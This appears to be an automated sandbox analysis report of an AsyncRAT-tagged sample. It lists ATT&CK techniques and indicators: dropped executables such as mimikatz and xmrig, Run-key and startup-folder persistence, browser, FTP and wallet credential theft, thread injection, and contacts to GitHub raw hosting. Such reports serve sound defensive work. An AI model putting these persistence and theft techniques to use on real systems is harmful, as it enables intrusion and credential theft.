asyncrat | ba3b60449327330b4e55df4528ebcfb7b12cd3e51c16d8b56680314e43d72be2

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	ghjaedjgaw.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	CritScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	microsoft-onedrive.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	TT18.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	ChatLife.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	Coc%20Coc.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	Google%20Chrome.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	cmd.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
752	cmd.exe
2120	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\imagelogger.lnk	imagelogger.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\imagelogger.lnk	imagelogger.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 41 IoCs

pid	Process
1544	win.exe
3012	CollosalLoader.exe
5104	Office%202010%20Toolkit.exe
4396	Client-built.exe
1360	Coc%20Coc.exe
3936	portable_util.exe
3152	setup.exe
1304	vc_redist.x64.exe
2500	setup.exe
1892	Google%20Chrome.exe
3536	winvnc.exe
2080	Bootxr.exe
1640	.exe
388	diskutil.exe
364	systempreter.exe
5032	ghjaedjgaw.exe
1440	diskutil.exe
2520	xmrig.exe
2396	uncrypted.exe
2764	DuckMatter.exe
4196	Windows.exe
3948	mimikatz.exe
4436	CritScript.exe
1416	JUSCHED.EXE
4320	imagelogger.exe
3624	microsoft-onedrive.exe
4736	Built.exe
3428	onedrive.exe
1740	Built.exe
5584	rar.exe
2036	vsrumanlxdbr.exe
4156	svhost.exe
752	kisteruop.exe
4740	Client-built-Playit.exe
5124	idrB5Event.exe
2396	TT18.exe
8	77iYF1Hwa.exe
1772	ChatLife.exe
5976	build.exe
4524	gjawedrtg.exe
5376	hell9o.exe

Loads dropped DLL 17 IoCs

pid	Process
1740	Built.exe
1740	Built.exe
1740	Built.exe
1740	Built.exe
1740	Built.exe
1740	Built.exe
1740	Built.exe
1740	Built.exe
1740	Built.exe
1740	Built.exe
1740	Built.exe
1740	Built.exe
1740	Built.exe
1740	Built.exe
1740	Built.exe
1740	Built.exe
1740	Built.exe

Modifies system executable filetype association 2 TTPs 16 IoCs

persistence

Modify Registry

T1112

Change Default File Association

T1546.001

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\ContextMenuHandlers	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\DropHandler	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\{8895b1c6-b41f-4c1c-a562-0d564250836f}	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runas	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\edit\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\print\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\print	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\DefaultIcon	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runas\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runasuser	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\ContextMenuHandlers\Compatibility	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\open\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\open	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runasuser\command	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\edit	reg.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GUTDSRESW = "\"C:\\Windows\\System32\\a\\Bootxr.exe\""	Bootxr.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	hell9o.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Legitimate hosting services abused for malware hosting/C2 1 TTPs 15 IoCs

Web Service

T1102

flow	ioc
141	raw.githubusercontent.com
245	raw.githubusercontent.com
116	raw.githubusercontent.com
162	raw.githubusercontent.com
212	raw.githubusercontent.com
243	raw.githubusercontent.com
244	raw.githubusercontent.com
247	raw.githubusercontent.com
60	raw.githubusercontent.com
61	raw.githubusercontent.com
246	raw.githubusercontent.com
248	raw.githubusercontent.com
252	raw.githubusercontent.com
149	raw.githubusercontent.com
213	raw.githubusercontent.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
166	ip-api.com
188	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Drops file in System32 directory 57 IoCs

description	ioc	Process
File created	C:\Windows\system32\a\.exe	New Text Document mod.exe
File created	C:\Windows\SysWOW64\Files\02.08.2022.exe	4363463463464363463463463.exe
File created	C:\Windows\system32\a\ioc.exe	New Text Document mod.exe
File created	C:\Windows\SysWOW64\Files\1.exe	4363463463464363463463463.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\SysWOW64\Files\gjawedrtg.exe	4363463463464363463463463.exe
File created	C:\Windows\SysWOW64\Files\random.exe	4363463463464363463463463.exe
File created	C:\Windows\system32\a\Google%20Chrome.exe	New Text Document mod.exe
File created	C:\Windows\system32\a\random.exe	New Text Document mod.exe
File created	C:\Windows\SysWOW64\Files\TT18.exe	4363463463464363463463463.exe
File created	C:\Windows\SysWOW64\Files\sgx4824p.exe	4363463463464363463463463.exe
File created	C:\Windows\system32\a\Bootxr.exe	New Text Document mod.exe
File created	C:\Windows\system32\a\dropper64.exe	New Text Document mod.exe
File created	C:\Windows\system32\a\dropper64.exe	New Text Document mod.exe
File created	C:\Windows\SysWOW64\Files\Client-built-Playit.exe	4363463463464363463463463.exe
File created	C:\Windows\system32\a\Office%202010%20Toolkit.exe	New Text Document mod.exe
File created	C:\Windows\SysWOW64\Files\F2.exe	4363463463464363463463463.exe
File created	C:\Windows\SysWOW64\Files\svhost.exe	4363463463464363463463463.exe
File created	C:\Windows\system32\a\ioc.exe	New Text Document mod.exe
File created	C:\Windows\system32\a\random.exe	New Text Document mod.exe
File created	C:\Windows\SysWOW64\Files\BandwidthMonitor.exe	4363463463464363463463463.exe
File created	C:\Windows\SysWOW64\Files\mimikatz.exe	4363463463464363463463463.exe
File created	C:\Windows\system32\a\ghjaedjgaw.exe	New Text Document mod.exe
File created	C:\Windows\SysWOW64\Files\Client-built.exe	4363463463464363463463463.exe
File opened for modification	C:\Windows\system32\MRT.exe	vsrumanlxdbr.exe
File created	C:\Windows\SysWOW64\Files\ChatLife.exe	4363463463464363463463463.exe
File created	C:\Windows\SysWOW64\Files\kxfh9qhs.exe	4363463463464363463463463.exe
File created	C:\Windows\system32\a\Coc%20Coc.exe	New Text Document mod.exe
File created	C:\Windows\system32\a\xmrig.exe	New Text Document mod.exe
File created	C:\Windows\SysWOW64\Files\5hvzv2sl.exe	4363463463464363463463463.exe
File created	C:\Windows\SysWOW64\Files\imagelogger.exe	4363463463464363463463463.exe
File created	C:\Windows\SysWOW64\Files\build.exe	4363463463464363463463463.exe
File created	C:\Windows\system32\a\win.exe	New Text Document mod.exe
File created	C:\Windows\system32\a\vc_redist.x64.exe	New Text Document mod.exe
File opened for modification	C:\Windows\system32\MRT.exe	onedrive.exe
File created	C:\Windows\SysWOW64\Files\ji2xlo1f.exe	4363463463464363463463463.exe
File created	C:\Windows\system32\a\boost.exe	New Text Document mod.exe
File created	C:\Windows\SysWOW64\Files\hell9o.exe	4363463463464363463463463.exe
File created	C:\Windows\SysWOW64\Files\OpenArk32.exe	4363463463464363463463463.exe
File created	C:\Windows\SysWOW64\Files\Windows.exe	4363463463464363463463463.exe
File created	C:\Windows\SysWOW64\Files\prem1.exe	4363463463464363463463463.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\SysWOW64\Files\idrB5Event.exe	4363463463464363463463463.exe
File created	C:\Windows\SysWOW64\Files\02.08.2022.exe	4363463463464363463463463.exe
File created	C:\Windows\system32\a\eXbhgU9.exe	New Text Document mod.exe
File created	C:\Windows\system32\a\eXbhgU9.exe	New Text Document mod.exe
File created	C:\Windows\system32\a\uncrypted.exe	New Text Document mod.exe
File created	C:\Windows\SysWOW64\Files\kisteruop.exe	4363463463464363463463463.exe
File created	C:\Windows\system32\a\02.08.2022.exe	New Text Document mod.exe
File created	C:\Windows\SysWOW64\Files\trru7rd2.exe	4363463463464363463463463.exe
File created	C:\Windows\system32\a\winvnc.exe	New Text Document mod.exe
File created	C:\Windows\system32\a\systempreter.exe	New Text Document mod.exe
File created	C:\Windows\system32\a\DuckMatter.exe	New Text Document mod.exe
File created	C:\Windows\system32\a\microsoft-onedrive.exe	New Text Document mod.exe
File created	C:\Windows\SysWOW64\Files\CollosalLoader.exe	4363463463464363463463463.exe
File created	C:\Windows\system32\a\diskutil.exe	New Text Document mod.exe
File created	C:\Windows\SysWOW64\Files\CritScript.exe	4363463463464363463463463.exe

Enumerates processes with tasklist 1 TTPs 6 IoCs

persistence privilege_escalation

Process Discovery

T1057

pid	Process
772	tasklist.exe
1956	tasklist.exe
4960	tasklist.exe
4124	tasklist.exe
5712	tasklist.exe
3608	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5044	cmd.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
4524	gjawedrtg.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2036 set thread context of 5200	2036	vsrumanlxdbr.exe	337
PID 2036 set thread context of 1076	2036	vsrumanlxdbr.exe	338

UPX packed file 56 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0009000000023bc0-438.dat	upx
behavioral1/memory/1740-445-0x00007FF9CDF90000-0x00007FF9CE578000-memory.dmp	upx
behavioral1/files/0x000b000000023b98-447.dat	upx
behavioral1/memory/1740-448-0x00007FF9E2E20000-0x00007FF9E2E44000-memory.dmp	upx
behavioral1/memory/1740-449-0x00007FF9E7E10000-0x00007FF9E7E1F000-memory.dmp	upx
behavioral1/memory/1740-456-0x00007FF9E2DF0000-0x00007FF9E2E1D000-memory.dmp	upx
behavioral1/memory/1740-457-0x00007FF9E3330000-0x00007FF9E3349000-memory.dmp	upx
behavioral1/memory/1740-458-0x00007FF9E2DC0000-0x00007FF9E2DE3000-memory.dmp	upx
behavioral1/memory/1740-459-0x00007FF9CDE10000-0x00007FF9CDF83000-memory.dmp	upx
behavioral1/memory/1740-460-0x00007FF9E2DA0000-0x00007FF9E2DB9000-memory.dmp	upx
behavioral1/memory/1740-461-0x00007FF9E6D40000-0x00007FF9E6D4D000-memory.dmp	upx
behavioral1/memory/1740-462-0x00007FF9DF690000-0x00007FF9DF6BE000-memory.dmp	upx
behavioral1/memory/1740-466-0x00007FF9C8F00000-0x00007FF9C9275000-memory.dmp	upx
behavioral1/memory/1740-467-0x00007FF9E2E20000-0x00007FF9E2E44000-memory.dmp	upx
behavioral1/memory/1740-464-0x00007FF9DF150000-0x00007FF9DF208000-memory.dmp	upx
behavioral1/memory/1740-463-0x00007FF9CDF90000-0x00007FF9CE578000-memory.dmp	upx
behavioral1/memory/1740-468-0x00007FF9DF670000-0x00007FF9DF684000-memory.dmp	upx
behavioral1/memory/1740-469-0x00007FF9E6CE0000-0x00007FF9E6CED000-memory.dmp	upx
behavioral1/memory/1740-470-0x00007FF9CF070000-0x00007FF9CF18C000-memory.dmp	upx
behavioral1/memory/1740-507-0x00007FF9E2DC0000-0x00007FF9E2DE3000-memory.dmp	upx
behavioral1/memory/1740-527-0x00007FF9CDE10000-0x00007FF9CDF83000-memory.dmp	upx
behavioral1/memory/1740-586-0x00007FF9E2DA0000-0x00007FF9E2DB9000-memory.dmp	upx
behavioral1/memory/1740-664-0x00007FF9DF690000-0x00007FF9DF6BE000-memory.dmp	upx
behavioral1/memory/1740-665-0x00007FF9DF150000-0x00007FF9DF208000-memory.dmp	upx
behavioral1/memory/1740-675-0x00007FF9CDE10000-0x00007FF9CDF83000-memory.dmp	upx
behavioral1/memory/1740-670-0x00007FF9E2E20000-0x00007FF9E2E44000-memory.dmp	upx
behavioral1/memory/1740-684-0x00007FF9C8F00000-0x00007FF9C9275000-memory.dmp	upx
behavioral1/memory/1740-669-0x00007FF9CDF90000-0x00007FF9CE578000-memory.dmp	upx
behavioral1/memory/1076-764-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1076-771-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1076-775-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1076-777-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1076-776-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1076-774-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1076-773-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1076-770-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1076-769-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1076-768-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1076-767-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1076-766-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1740-779-0x00007FF9CDF90000-0x00007FF9CE578000-memory.dmp	upx
behavioral1/memory/1740-865-0x00007FF9C8F00000-0x00007FF9C9275000-memory.dmp	upx
behavioral1/memory/1740-875-0x00007FF9DF150000-0x00007FF9DF208000-memory.dmp	upx
behavioral1/memory/1740-877-0x00007FF9E6CE0000-0x00007FF9E6CED000-memory.dmp	upx
behavioral1/memory/1740-878-0x00007FF9CF070000-0x00007FF9CF18C000-memory.dmp	upx
behavioral1/memory/1740-876-0x00007FF9DF670000-0x00007FF9DF684000-memory.dmp	upx
behavioral1/memory/1740-874-0x00007FF9DF690000-0x00007FF9DF6BE000-memory.dmp	upx
behavioral1/memory/1740-873-0x00007FF9E6D40000-0x00007FF9E6D4D000-memory.dmp	upx
behavioral1/memory/1740-872-0x00007FF9E2DA0000-0x00007FF9E2DB9000-memory.dmp	upx
behavioral1/memory/1740-871-0x00007FF9CDE10000-0x00007FF9CDF83000-memory.dmp	upx
behavioral1/memory/1740-870-0x00007FF9E2DC0000-0x00007FF9E2DE3000-memory.dmp	upx
behavioral1/memory/1740-869-0x00007FF9E3330000-0x00007FF9E3349000-memory.dmp	upx
behavioral1/memory/1740-868-0x00007FF9E2DF0000-0x00007FF9E2E1D000-memory.dmp	upx
behavioral1/memory/1740-867-0x00007FF9E7E10000-0x00007FF9E7E1F000-memory.dmp	upx
behavioral1/memory/1740-866-0x00007FF9E2E20000-0x00007FF9E2E44000-memory.dmp	upx
behavioral1/memory/1740-850-0x00007FF9CDF90000-0x00007FF9CE578000-memory.dmp	upx

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\CocCoc\Browser\Application	cmd.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4220	sc.exe
920	sc.exe
1084	sc.exe
4268	sc.exe
6084	sc.exe
5172	sc.exe
5928	sc.exe
5652	sc.exe
5136	sc.exe
1424	sc.exe
2424	sc.exe
1992	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
464	1304	WerFault.exe	127

System Location Discovery: System Language Discovery 1 TTPs 34 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	portable_util.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ghjaedjgaw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	idrB5Event.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TT18.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Office%202010%20Toolkit.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vc_redist.x64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CritScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ChatLife.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	setup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Bootxr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	uncrypted.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DuckMatter.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gjawedrtg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4363463463464363463463463.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4363463463464363463463463.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	setup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	winvnc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mimikatz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	microsoft-onedrive.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	77iYF1Hwa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	systempreter.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

Internet Connection Discovery

T1016.001

pid	Process
2016	cmd.exe
5680	PING.EXE

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

Wi-Fi Discovery

T1016.002

pid	Process
1000	cmd.exe
4968	netsh.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ghjaedjgaw.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ghjaedjgaw.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2832	timeout.exe

Detects videocard installed 1 TTPs 3 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

pid	Process
3752	WMIC.exe
4988	WMIC.exe
5644	WMIC.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
4140	systeminfo.exe

Kills process with taskkill 2 IoCs

evasion

pid	Process
6040	taskkill.exe
5168	taskkill.exe

Modifies data under HKEY_USERS 46 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
